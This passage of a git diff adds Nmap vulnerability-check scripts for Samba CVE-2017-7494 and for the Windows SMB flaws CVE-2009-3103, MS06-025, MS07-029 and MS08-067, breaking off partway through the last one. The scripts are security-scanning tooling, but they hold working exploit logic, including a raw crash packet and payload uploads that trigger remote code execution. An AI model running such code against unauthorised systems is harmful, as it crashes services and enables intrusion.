+ -- do "nt pipe support = no" workaround check, in which case
+ -- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED'
+ local status, result
+ status, result = smb.share_get_details(host, 'IPC$')
+
+ if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then
+ samba_cve.state = vulns.STATE.NOT_VULN
+ return false
+ elseif not status then
+ -- error accessing IPC$, present error to user
+ local err = result
+ table.insert(samba_cve.extra_info, err)
+ end
+
+ return true
+end
+
+--- Creates candidate paths for common directories of shares
+-- This is method is based off the Metasploit script.
+--
+-- @param share_name Name of the share that you wish to write to
+-- ireturn Array of candidate paths of the shares, never nil
+local function enumerate_directories(share_name)
+ local candidates = {}
+
+ -- enumerate through all locations to find the file
+ for i = 1, #COMMON_DIRS, 1 do
+ table.insert(candidates, COMMON_DIRS[i])
+ table.insert(candidates, COMMON_DIRS[i] .. share_name)
+ table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name))
+ table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name))
+ table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_"))
+ end
+
+ return candidates
+end
+
+--- Uploads the payloads in the array into a file each on the writable share.
+-- Because the execution of the payload must match the architecture of the
+-- target system, the function will try to test against each payload from
+-- different architectures. The payloads were generated from Metasploit.
+--
+-- The function will then test if the system is vulnerable by making a NT
+-- Create AndX Request on the IPC$ on the actual path of the file containing
+-- the payload. It will first try to see if the actual path was retrieved
+-- using previously by checking for the path argument. If it is not supplied,
+-- because we do not know where the actual files are stored on the filesystem,
+-- we have to make guesses on common directories. The status returned when
+-- the payload executes is false, indicating that the system is vulnerable.
+--
+-- @param host The target host
+-- @param samba_cve The vuln table containing information for the results
+-- @param payloads An array containing payloads from different architectures
+-- @param name The name of the writable share
+-- @param path The canonical path of the share
+local function test_cve2017_7494(host, samba_cve, payloads, name, path)
+ local status, result, err, share_name
+ local candidates = {}
+
+ -- create the files of both payloads on the share
+ -- the files are named as follows:
+ -- <index><base_filename>
+ for i, l_payload in ipairs(payloads) do
+ for _, anon in ipairs({true, false}) do
+ status, err = smb.file_write(host, l_payload, name,
+ tostring(i) .. FILENAME, anon)
+ stdnse.debug1("Write file status %s , err %s", status, err)
+ if status then break end
+ end
+ end
+
+ -- check if a proper filepath is returned from smb probes and use it
+ if path then
+ table.insert(candidates, path)
+ else
+ share_name = string.match(name, "\\\\.*\\(.*)") .. '/'
+ candidates = enumerate_directories(share_name)
+ end
+
+ -- try all candidate payloads
+ for h = 1, #payloads, 1 do
+ local l_filename = tostring(h) .. FILENAME
+ -- loop through all common candidate paths
+ for i = 1, #candidates, 1 do
+ local path = candidates[i] .. l_filename
+ local pipe_formats = {"\\\\PIPE\\".. path , path}
+ -- test both pipe formats for each path
+ for j = 1, #pipe_formats, 1 do
+ local curr_path = pipe_formats[j]
+ -- make an simple SMB connection to IPC$
+ local status, smbstate = smb.start_ex(host, true, true, "\\\\" ..
+ host.ip .. "\\IPC$", nil, nil, nil)
+ if not status then
+ stdnse.debug1("Could not connect to IPC$")
+ else
+ local overrides = {}
+ -- perform NT Create NX Request on candidate file paths
+ overrides['file_create_disposition'] = 0x1 -- FILE_OPEN
+ overrides['file_create_security_flags'] = 0x0 -- No dynamic tracking, no security context
+
+ stdnse.debug1("Trying path : %s", curr_path)
+ status, result = smb.create_file(smbstate, curr_path, overrides)
+ stdnse.debug1("Status: %s, Result: %s", status, result)
+ -- on payload execution, result will be false and server will disconnect
+ if not status and string.match(result, "SMB: ERROR: Server disconnected the connection") then
+ samba_cve.state = vulns.STATE.VULN
+ table.insert(samba_cve.check_results,
+ "Exploitation of CVE-2017-7494 succeeded!")
+ return
+ end
+ end
+ end
+ end
+ end
+ if samba_cve.state ~= vulns.STATE.VULN and not path then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ table.insert(samba_cve.check_results,
+ 'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.')
+ end
+end
+
+action = function(host,port)
+ local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'})
+
+ local result, stats
+ local response = {}
+
+ local samba_cve = {
+ title = "SAMBA Remote Code Execution from Writable Share",
+ IDS = {CVE = 'CVE-2017-7494'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)"
+ },
+ description = [[
+All versions of Samba from 3.5.0 onwards are vulnerable to a remote
+code execution vulnerability, allowing a malicious client to upload a
+shared library to a writable share, and then cause the server to load
+and execute it.
+]],
+ references = {
+ 'https://www.samba.org/samba/security/CVE-2017-7494.html',
+ },
+ dates = {
+ disclosure = {year = '2017', month = '05', day = '24'},
+ },
+ check_results = {},
+ extra_info = {}
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ samba_cve.state = vulns.STATE.NOT_VULN
+
+ local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false
+ -- check if they put false or similar
+ if check_version and string.lower(check_version) == "false" then
+ check_version = nil
+ end
+
+ local version = port.version.version
+
+ -- retrieve version of samba using smb.get_os
+ if not version then
+ local status, result = smb.get_os(host)
+
+ if(status == false) then
+ return stdnse.format_output(false, result)
+ end
+
+ -- result.lanmanager contains OS version information
+ -- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu
+ -- we only want 4.3.9-Ubuntu
+ if string.match(result.lanmanager,"^Samba ") then
+ version = string.match(result.lanmanager,"^Samba (.*)")
+ else
+ return stdnse.format_output(false,
+ "Either versioning failed or samba does not exist on the port!")
+ end
+ end
+
+ table.insert(samba_cve.check_results,
+ string.format("Samba Version: %s",version))
+
+ if check_version then
+ stdnse.debug("Port Version: %s", port.version.version)
+ -- determine if version is vulnerable
+ determine_vuln_version(version, samba_cve)
+
+ -- The first set of conditions sees if version checking is specified
+ -- to speed up checks so only hosts with versions that are likely to be
+ -- vulnerable are scanned, the second part of the condition allows
+ -- the script to run try the exploit on the samba share regardless
+ -- of version. In this case, the latter is the default.
+ elseif (check_version and samba_cve == vulns.STATE.LIKELY_VULN) or not check_version then
+ local name, path
+ -- vulnerability requires library to be written to share
+ name, path = find_writable_shares(host, samba_cve)
+ stdnse.debug1("Writable share name: %s, Path returned: %s", name, path)
+
+ -- do "nt pipe support = no" workaround check, which prevents exploitation
+ local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve)
+
+ -- some patches for samba do not affect version numbers
+ -- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7
+ -- in reality they are not vulnerable
+ -- patched versions prevents named pipes containing '/'
+ -- more information is available on the patch
+ -- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030
+ -- therefore we need to ascertain if the exploit works
+ if name and ntpipe_enabled then
+ test_cve2017_7494(host, samba_cve, payloads, name, path)
+
+ for i, _ in ipairs(payloads) do
+ smb.file_delete(host, name, tostring(i) .. FILENAME)
+ end
+ end
+
+ end
+
+ return report:make_output(samba_cve)
+end
diff --git a/scripts/smb-vuln-cve2009-3103.nse b/scripts/smb-vuln-cve2009-3103.nse
new file mode 100644
index 0000000..955fac9
--- /dev/null
+++ b/scripts/smb-vuln-cve2009-3103.nse
@@ -0,0 +1,174 @@
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Detects Microsoft Windows systems vulnerable to denial of service (CVE-2009-3103).
+This script will crash the service if it is vulnerable.
+
+The script performs a denial-of-service against the vulnerability disclosed in
+CVE-2009-3103. This works against Windows Vista and some versions of Windows 7,
+and causes a bluescreen if successful. The proof-of-concept code at
+http://seclists.org/fulldisclosure/2009/Sep/39 was used, with one small change.
+
+This check was previously part of smb-check-vulns.
+]]
+
+---
+--@usage
+-- nmap --script smb-vuln-cve2009-3103.nse -p445 <host>
+-- nmap -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 <host>
+--
+--@output
+--Host script results:
+--| smb-vuln-cve2009-3103:
+--| VULNERABLE:
+--| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
+--| State: VULNERABLE
+--| IDs: CVE:CVE-2009-3103
+--| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
+--| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
+--| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
+--| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
+--| aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.
+--|
+--| Disclosure date: 2009-09-08
+--| References:
+--| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
+--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+
+local function check_smbv2_dos(host)
+ -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
+ local buf = "\x00\x00\x00\x90" .. -- Begin SMB header: Session message
+ "\xff\x53\x4d\x42" .. -- Server Component: SMB
+ "\x72\x00\x00\x00" .. -- Negociate Protocol
+ "\x00\x18\x53\xc8" .. -- Operation 0x18 & sub 0xc853
+ "\x00\x26" .. -- Process ID High: --> :) normal value should be "\x00\x00"
+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" ..
+ "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" ..
+ "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" ..
+ "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" ..
+ "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" ..
+ "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" ..
+ "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" ..
+ "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" ..
+ "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" ..
+ "\x30\x30\x32\x00"
+
+ local socket = nmap.new_socket()
+ if(socket == nil) then
+ return false, "Couldn't create socket"
+ end
+
+ local status, result = socket:connect(host, 445)
+ if(status == false) then
+ socket:close()
+ return false, "Couldn't connect to host: " .. result
+ end
+
+ status, result = socket:send(buf)
+ if(status == false) then
+ socket:close()
+ return false, "Couldn't send the buffer: " .. result
+ end
+
+ -- Close the socket
+ socket:close()
+
+ -- Give it some time to crash
+ stdnse.debug1("Waiting 5 seconds to see if Windows crashed")
+ stdnse.sleep(5)
+
+ -- Create a new socket
+ socket = nmap.new_socket()
+ if(socket == nil) then
+ return false, "Couldn't create socket"
+ end
+
+ -- Try and do something simple
+ stdnse.debug1("Attempting to connect to the host")
+ socket:set_timeout(5000)
+ status, result = socket:connect(host, 445)
+
+ -- Check the result
+ if(status == false or status == nil) then
+ stdnse.debug1("Connect failed, host is likely vulnerable!")
+ socket:close()
+ return true, VULNERABLE
+ end
+
+ -- Try sending something
+ stdnse.debug1("Attempting to send data to the host")
+ status, result = socket:send("AAAA")
+ if(status == false or status == nil) then
+ stdnse.debug1("Send failed, host is likely vulnerable!")
+ socket:close()
+ return true, VULNERABLE
+ end
+
+ stdnse.debug1("Checks finished; host is likely not vulnerable.")
+ socket:close()
+ return true, PATCHED
+end
+
+action = function(host)
+
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
+ Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
+ denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
+ PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
+ aka "SMBv2 Negotiation Vulnerability."
+ ]],
+ IDS = {CVE = 'CVE-2009-3103'},
+ references = {
+ 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103'
+ },
+ dates = {
+ disclosure = {year = '2009', month = '09', day = '08'},
+ }
+ }
+
+ -- Check for SMBv2 vulnerability
+ status, result = check_smbv2_dos(host)
+ if(status == false) then
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-ms06-025.nse b/scripts/smb-vuln-ms06-025.nse
new file mode 100644
index 0000000..1da0961
--- /dev/null
+++ b/scripts/smb-vuln-ms06-025.nse
@@ -0,0 +1,163 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+Detects Microsoft Windows systems with Ras RPC service vulnerable to MS06-025.
+
+MS06-025 targets the <code>RasRpcSumbitRequest()</code> RPC method which is
+a part of RASRPC interface that serves as a RPC service for configuring and
+getting information from the Remote Access and Routing service. RASRPC can be
+accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines).
+This is in RPC world known as "ncan_np" RPC transport. <code>RasRpcSumbitRequest()</code>
+method is a generic method which provides different functionalities according
+to the <code>RequestBuffer</code> structure and particularly the <code>RegType</code> field within that
+structure. <code>RegType</code> field is of <code>enum ReqTypes</code> type. This enum type lists all
+the different available operation that can be performed using the <code>RasRpcSubmitRequest()</code>
+RPC method. The one particular operation that this vuln targets is the <code>REQTYPE_GETDEVCONFIG</code>
+request to get device information on the RRAS.
+
+This script was previously part of smb-check-vulns.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-ms06-025.nse -p445 <host>
+-- nmap -sU --script smb-vuln-ms06-025.nse -p U:137,T:139 <host>
+--
+--@output
+--| smb-vuln-ms06-025:
+--| VULNERABLE:
+--| RRAS Memory Corruption vulnerability (MS06-025)
+--| State: VULNERABLE
+--| IDs: CVE:CVE-2006-2370
+--| A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
+--| and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
+--| execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
+--|
+--| Disclosure date: 2006-6-27
+--| References:
+--| https://technet.microsoft.com/en-us/library/security/ms06-025.aspx
+--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2370
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+local UNKNOWN = 3
+local NOTUP = 8
+
+---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing
+--and Access Service. This check is not safe as it crashes the RRAS service and
+--its dependencies.
+--@param host Host object.
+--@return (status, result)
+--* <code>status == false</code> -> <code>result == NOTUP</code> which designates
+--that the targeted Ras RPC service is not active.
+--* <code>status == true</code> ->
+-- ** <code>result == VULNERABLE</code> for vulnerable.
+-- ** <code>result == PATCHED</code> for not vulnerable.
+function check_ms06_025(host)
+ --create the SMB session
+ --first we try with the "\router" pipe, then the "\srvsvc" pipe.
+ local status, smb_result, smbstate, err_msg
+ status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
+ if(status == false) then
+ err_msg = smb_result
+ status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
+ if(status == false) then
+ return false, NOTUP --if not accessible across both pipes then service is inactive
+ end
+ end
+ smbstate = smb_result
+ --bind to RRAS service
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
+ end
+ if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
+ msrpc.stop_smb(smbstate)
+ return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
+ end
+ local req, buff, sr_result
+ req = msrpc.RRAS_marshall_RequestBuffer(
+ 0x01,
+ msrpc.RRAS_RegTypes['GETDEVCONFIG'],
+ rand.random_string(3000, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY"))
+ status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
+ msrpc.stop_smb(smbstate)
+ --sanity check
+ if(status == false) then
+ stdnse.debug3("check_ms06_025: RRAS_SubmitRequest failed")
+ if(sr_result == "NT_STATUS_PIPE_BROKEN") then
+ return true, VULNERABLE
+ else
+ return true, PATCHED
+ end
+ else
+ return true, PATCHED
+ end
+end
+
+action = function(host)
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'RRAS Memory Corruption vulnerability (MS06-025)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
+ and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
+ execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
+ ]],
+ IDS = {CVE = 'CVE-2006-2370'},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms06-025.aspx'
+ },
+ dates = {
+ disclosure = {year = '2006', month = '6', day = '27'},
+ }
+ }
+
+ -- Check for ms06-025
+ status, result = check_ms06_025(host)
+ if(status == false) then
+ if(result == NOTUP) then
+ vuln_table.extra_info = "Ras RPC service is not enabled."
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ elseif(result == NOTUP) then
+ vuln_table.extra_info = "Ras RPC service is not enabled."
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-ms07-029.nse b/scripts/smb-vuln-ms07-029.nse
new file mode 100644
index 0000000..0c72555
--- /dev/null
+++ b/scripts/smb-vuln-ms07-029.nse
@@ -0,0 +1,150 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Detects Microsoft Windows systems with Dns Server RPC vulnerable to MS07-029.
+
+MS07-029 targets the <code>R_DnssrvQuery()</code> and <code>R_DnssrvQuery2()</code>
+RPC method which isa part of DNS Server RPC interface that serves as a RPC service
+for configuring and getting information from the DNS Server service.
+DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe.
+The vulnerability is triggered when a long string is send as the "zone" parameter
+which causes the buffer overflow which crashes the service.
+
+This check was previously part of smb-check-vulns.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-ms07-029.nse -p445 <host>
+-- nmap -sU --script smb-vuln-ms07-029.nse -p U:137,T:139 <host>
+--
+--@output
+--Host script results:
+--| smb-vuln-ms07-029:
+--| VULNERABLE:
+--| Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)
+--| State: VULNERABLE
+--| IDs: CVE:CVE-2007-1748
+--| A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in
+--| Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to
+--| execute arbitrary code via a long zone name containing character constants represented by escape sequences.
+--|
+--| Disclosure date: 2007-06-06
+--| References:
+--| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1748
+--|_ https://technet.microsoft.com/en-us/library/security/ms07-029.aspx
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+local UNKNOWN = 3
+local NOTUP = 8
+
+---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
+--This check is not safe as it crashes the Dns Server RPC service its dependencies.
+--@param host Host object.
+--@return (status, result)
+--* <code>status == false</code> -> <code>result == NOTUP</code> which designates
+--that the targeted Dns Server RPC service is not active.
+--* <code>status == true</code> ->
+-- ** <code>result == VULNERABLE</code> for vulnerable.
+-- ** <code>result == PATCHED</code> for not vulnerable.
+
+function check_ms07_029(host)
+ --create the SMB session
+ local status, smbstate
+ status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
+ if(status == false) then
+ stdnse.debug1("check_ms07_029: Service is not active.")
+ return false, NOTUP --if not accessible across pipe then the service is inactive
+ end
+ --bind to DNSSERVER service
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
+ if(status == false) then
+ stdnse.debug1("check_ms07_029: false")
+ msrpc.stop_smb(smbstate)
+ return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
+ end
+ --call
+ local req_blob, q_result
+ status, q_result = msrpc.DNSSERVER_Query(
+ smbstate,
+ "VULNSRV",
+ string.rep("\\\13", 1000),
+ 1)--any op num will do
+ --sanity check
+ msrpc.stop_smb(smbstate)
+ if(status == false) then
+ stdnse.debug1("check_ms07_029: DNSSERVER_Query failed")
+ if(q_result == "NT_STATUS_PIPE_BROKEN") then
+ return true, VULNERABLE
+ else
+ return true, PATCHED
+ end
+ else
+ return true, PATCHED
+ end
+end
+
+action = function(host)
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in
+ Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to
+ execute arbitrary code via a long zone name containing character constants represented by escape sequences.
+ ]],
+ IDS = {CVE = 'CVE-2007-1748'},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx'
+ },
+ dates = {
+ disclosure = {year = '2007', month = '06', day = '06'},
+ }
+ }
+
+ -- Check for ms07-029
+ status, result = check_ms07_029(host)
+ if(status == false) then
+ if(result == NOTUP) then
+ vuln_table.extra_info = "Service is not active."
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ else
+ if(result == VULNERABLE) then
+ vuln_table.state = vulns.STATE.VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-ms08-067.nse b/scripts/smb-vuln-ms08-067.nse
new file mode 100644
index 0000000..74ab327
--- /dev/null
+++ b/scripts/smb-vuln-ms08-067.nse
@@ -0,0 +1,154 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability
+known as MS08-067. This check is dangerous and it may crash systems.
+
+On a fairly wide scan conducted by Brandon Enright, we determined
+that on average, a vulnerable system is more likely to crash than to survive
+the check. Out of 82 vulnerable systems, 52 crashed.
+Please consider this before running the script.
+
+This check was previously part of smb-check-vulns.nse.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-ms08-067.nse -p445 <host>
+-- nmap -sU --script smb-vuln-ms08-067.nse -p U:137 <host>
+--
+--@output
+--| smb-vuln-ms08-067:
+--| VULNERABLE:
+--| Microsoft Windows system vulnerable to remote code execution (MS08-067)
+--| State: VULNERABLE
+--| IDs: CVE:CVE-2008-4250
+--| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
+--| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
+--| code via a crafted RPC request that triggers the overflow during path canonicalization.
+--|
+--| Disclosure date: 2008-10-23
+--| References:
+--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
+--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local VULNERABLE = 1
+local PATCHED = 2
+local UNKNOWN = 3
+local NOTRUN = 4
+local INFECTED = 5
+
+---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an
+-- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then
+-- you're safe (for now).
+--
+-- Based on a packet cap of this script, thanks go out to the author:
+-- http://labs.portcullis.co.uk/application/ms08-067-check/
+--
+-- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20
+-- tests I did, it crashed once. This is not a guarantee.
+--
+--@param host The host object.
+--@return (status, result) If status is false, result is an error code; otherwise, result is either
+-- <code>VULNERABLE</code> for vulnerable, <code>PATCHED</code> for not vulnerable,
+-- <code>UNKNOWN</code> if there was an error (likely vulnerable),
+-- and <code>INFECTED</code> if it was patched by Conficker.
+function check_ms08_067(host)
+ local status, smbstate
+ local bind_result, netpathcompare_result
+
+ -- Create the SMB session
+ status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call netpathcanonicalize
+ -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
+
+ local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
+ local path2 = "\\n"
+ status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
+
+ -- Stop the SMB session
+ msrpc.stop_smb(smbstate)
+
+ if(status == false) then
+ if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
+ return true, INFECTED
+ elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
+ return true, PATCHED
+ else
+ return true, UNKNOWN, netpathcompare_result
+ end
+ end
+
+ return true, VULNERABLE
+end
+
+action = function(host)
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
